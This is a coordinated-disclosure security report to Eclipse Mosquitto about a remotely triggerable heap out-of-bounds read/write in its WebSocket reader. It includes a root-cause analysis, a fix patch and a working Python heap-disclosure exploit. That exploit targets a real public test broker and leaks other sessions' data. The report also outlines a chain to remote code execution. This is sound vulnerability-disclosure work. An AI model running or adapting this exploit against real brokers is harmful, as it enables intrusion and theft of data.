[Eclipse Mosquitto] Remote heap out-of-bounds read/write in Mosquitto’s built-in WebSocket reader
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## Basic information
**Project name:** Eclipse Mosquitto
**Project id:** iot.mosquitto
## What are the affected versions?
Versions \>=2.1 - since the native WebSocket reader was introduced (Commit: `799cdead151a9fd8f1961597b1bcbeb21e951f86`, Oct 6, 2021)
## Details of the issue
### Summary
A listener configured with "protocol websockets" mishandles empty WebSocket data frames, giving a remote client two heap primitives:
1. Read uninitialised broker heap the server never intended to send (information disclosure; defeats ASLR and leaks live heap/libc pointers).
2. Write attacker-controlled bytes past a heap buffer (out-of-bounds write).
The bug is in the generic packet reader (_lib/packet_mosq.c:593_), which runs on every packet’s payload — including the CONNECT packet, before any authentication check. The two primitives compose into full remote code execution. We have a working, wire-only exploit against an unmodified 2.1.2 build (glibc 2.39, Ubuntu 24.04) that executes an attacker-chosen shell command as the broker’s user. A minimal, benign proof of concept is included (it writes the output of id to a file).
### Authentication/Preconditions
- Unauthenticated with "allow_anonymous false" broker config: An unauthenticated attacker can cause Out-of-Bounds write/Heap Corruption (DoS)
- Authenticated OR "allow_anonymouse true" broker config: An authenticated or anonymous attacker can cause Information disclosure + full RCE.
Simply put: "allow_anonymous false" does not protect against the unauthenticated DoS, and does not protect against RCE by any user who can log in; it only removes the unauthenticated RCE path.
### Root Cause
`net__read_ws()` (_lib/net_ws.c:326-335_) returns a positive byte count for an empty data frame (opcode BINARY or CONTINUATION, payload length 0) without writing any bytes to the caller’s buffer. This ends up returning the number of WebSocket framing bytes it consumed (e.g. the 4 mask bytes). Specifically, there is no branch that sets `len` to -1 (thereby averting the bug trigger) _if_ `mosq->wsd.payloadlen == 0`. Instead, `len` is set to the mask size (`len = read_ws_mask(mosq);`), which will be 4 (the masking-key bytes). Thus `net__read_ws()` will return `4` when an empty payload is passed.
The MQTT reader in `packet__read_single()` (_lib/packet_mosq.c:593_) then trusts that return value as the number of payload bytes received.
```c
/* lib/packet_mosq.c */
static int packet__read_single(struct mosquitto *mosq, enum mosquitto_client_state state, ssize_t (*local__read)(struct mosquitto *, void *, size_t))
{
ssize_t read_length;
...
if(mosq->in_packet.remaining_count <= 0){
...
if(mosq->in_packet.remaining_length > 0){
mosq->in_packet.payload = mosquitto_malloc(mosq->in_packet.remaining_length*sizeof(uint8_t));
...
mosq->in_packet.pos = 0;
mosq->in_packet.to_process = mosq->in_packet.remaining_length;
...
}
...
}
while(mosq->in_packet.to_process>0){
read_length = local__read(mosq, &(mosq->in_packet.payload[mosq->in_packet.pos]), mosq->in_packet.to_process); /* local_read is set to net__read_ws. For an empty frame -> 4 */
if(read_length > 0){
metrics__int_inc(mosq_counter_bytes_received, read_length);
mosq->in_packet.to_process -= (uint32_t)read_length;
mosq->in_packet.pos += (uint32_t)read_length;
}
...
}
...
}
```
This yields two bugs:
1. Disclosure. Empty frames advance pos to remaining_length without ever writing the buffer. The broker then treats the never-initialised malloc region as a complete packet (e.g. a PUBLISH) and forwards/processes it, disclosing whatever heap previously occupied that allocation, including other sessions’ data and pointers.
2. Out-of-bounds write. When to_process is not a multiple of 4 as an empty frame is processed, `to_process -= read_length` underflows (unsigned), `pos` runs past the N-byte allocation, and the loop continues. A following data frame is then written by `net__read()` at `&payload[pos]`, well past the end of the buffer, with length and contents controlled by the client.
### Impact
- **Heap out-of-bounds write / DoS** (unauthenticated, any configuration). A single malicious CONNECT (large declared remaining_length + empty frames) corrupts the heap during the pre-auth payload read. Observed aborts include `free(): invalid pointer`, `malloc(): invalid size (unsorted)`, `munmap_chunk(): invalid pointer`. Under a supervisor (systemd) this is a remote crash loop. Verified against an allow_anonymous false broker.
- **Information disclosure** (requires a session, either anonymous or authenticated). Remote read of broker heap (other client's message contents; heap and libc pointers, which defeat ASLR and glibc pointer mangling). Exfiltration uses SUBSCRIBE/PUBLISH, so it needs an established session (anonymous-allowed, or authenticated).
- **Remote code execution** (requires a session, either anonymous or authenticated). The disclosure defeats ASLR and supplies the live chunk address needed to forge a glibc safe-linked freelist pointer; the out-of-bounds write then poisons tcache for an arbitrary write, which we use to run an attacker-chosen command. Confirmed end-to-end, wire-only, on an unmodified 2.1.2 broker with anonymous access enabled. The chain uses ordinary PUBLISH/SUBSCRIBE, so any authenticated user is expected to achieve the same on an allow_anonymous false broker (not separately tested).
- **Severity**: with allow_anonymous true (a common deployment for internal/IoT brokers) this is unauthenticated RCE, CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). With authentication required it is authenticated RCE (8.8, PR:L) plus an unauthenticated DoS (7.5, PR:N/C:N/I:N/A:H).
## Steps to reproduce
For proof of an unauthenticated, remote heap disclosure against the Mosquitto Test broker:
```python
import socket, struct
HOST = "test.mosquitto.org"
PORT = 8080
PATH = "/mqtt"
SIZE = 0x1000 # heap bytes to disclose (keep a multiple of 4)
def ws(mqtt): # wrap MQTT bytes in a masked WS BINARY frame
n = len(mqtt) # mask key 00000000 -> XOR is a no-op (bytes stay readable)
head = b"\x82" + (bytes([0x80 | n]) if n < 126 else b"\xfe" + struct.pack(">H", n))
return head + b"\x00\x00\x00\x00" + mqtt
def varint(n): # MQTT variable-byte remaining-length
out = b""
while True:
b = n & 0x7f; n >>= 7
out += bytes([b | 0x80 if n else b])
if not n: return out
s = socket.create_connection((HOST, PORT))
# 1) WebSocket upgrade, subprotocol "mqtt" (broker accepts any key; we ignore the 101 reply)
s.sendall(("GET %s HTTP/1.1\r\nHost: %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
"Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==\r\nSec-WebSocket-Version: 13\r\n"
"Sec-WebSocket-Protocol: mqtt\r\n\r\n" % (PATH, HOST)).encode())
resp = s.recv(4096)
# 2) MQTT v5 CONNECT (client id "abc"), then SUBSCRIBE to topic "x" so the broker echoes to us
s.sendall(ws(b"\x10\x10\x00\x04MQTT\x05\x02\x00\x3c\x00\x00\x03abc")); s.recv(4096) # -> CONNACK
s.sendall(ws(b"\x82\x07\x00\x01\x00\x00\x01x\x00")); s.recv(4096) # -> SUBACK
# 3) THE BUG: PUBLISH to "x" declaring SIZE remaining bytes, but send only the 4-byte header
# (topic "x" + 0 properties); then "deliver" the SIZE-4 body as empty frames (+4 phantom each).
s.sendall(ws(b"\x30" + varint(SIZE) + b"\x00\x01x\x00")) # PUBLISH to "x": declare SIZE bytes, props=0
s.sendall(b"\x82\x80\x00\x00\x00\x00" * ((SIZE - 4) // 4 + 5)) # empty frames starve the read
# 4) Read back the echoed PUBLISH; its payload is uninitialised broker heap
s.settimeout(5); leak = b""
try:
while True:
d = s.recv(65536)
if not d: break
leak += d
except socket.timeout:
pass
print("recovered %d bytes of broker heap; printable strings:\n" % len(leak))
run = bytearray()
for b in leak:
if 32 <= b < 127:
run.append(b)
else:
if len(run) >= 6:
print(" ", run.decode())
run = bytearray()
```
This script will output any printable ASCII bytes returned from the broker. Results will vary based off the broker's heap state at runtime.
For a function RCE PoC against targeted broker (glibc 2.39, Ubuntu 24.04, x86_64), see `poc_rce_demo.py` script provided in linked zip below. I have a test broker available that can be used for demonstration of the RCE if necessary.
## Do you know any mitigations of the issue?
Patch:
```c
diff --git a/lib/net_ws.c b/lib/net_ws.c
index bb5d87c4..df501c8a 100644
--- a/lib/net_ws.c
+++ b/lib/net_ws.c
@@ -332,6 +332,9 @@ ssize_t net__read_ws(struct mosquitto *mosq, void *buf, size_t count)
* packet__queue. */
len = -1;
errno = EAGAIN;
+ }else if(mosq->wsd.payloadlen == 0){
+ len = -1;
+ errno = EAGAIN;
}
mosq->wsd.payloadlen = 0;
mosq->wsd.opcode = UINT8_MAX;
diff --git a/lib/packet_mosq.c b/lib/packet_mosq.c
index 64651b73..ec368d09 100644
--- a/lib/packet_mosq.c
+++ b/lib/packet_mosq.c
@@ -589,6 +589,9 @@ static int packet__read_single(struct mosquitto *mosq, enum mosquitto_client_sta
while(mosq->in_packet.to_process>0){
read_length = local__read(mosq, &(mosq->in_packet.payload[mosq->in_packet.pos]), mosq->in_packet.to_process);
if(read_length > 0){
+ if((uint32_t)read_length > mosq->in_packet.to_process){
+ return MOSQ_ERR_MALFORMED_PACKET;
+ }
metrics__int_inc(mosq_counter_bytes_received, read_length);
mosq->in_packet.to_process -= (uint32_t)read_length;
mosq->in_packet.pos += (uint32_t)read_length;
```
## SCOPE CONFIRMATION / PUBLIC DISCLOSURE
We have read the project's SECURITY.md as well as the Eclipse Foundation Security Policy and have made every effort to comply.
We are reporting privately and will coordinate timing for public disclosure per EF Security Policy. We have a public write-up prepared to publish only after a fix is available, and will request a CVE through the Eclipse CNA if you prefer. Happy to help validate the fix.
## AI DISCLOSURE
The campaign that resulted in this finding, as well as development of the proof-of-concept, patch, and report were LLM-assisted (Claude Haiku/Sonnet/Opus). A human-in-the-loop was maintained throughout the campaign and we have taken steps to ensure the work and this report reflect and maintain our own agency, voice, and sense of quality.
[securityreportremoteheapoutofboundsreadwriteinmos.zip](/uploads/6e0ac36123dfbb22c3a769f92e960324/securityreportremoteheapoutofboundsreadwriteinmos.zip)
If you have any questions or concerns, we are available to respond.
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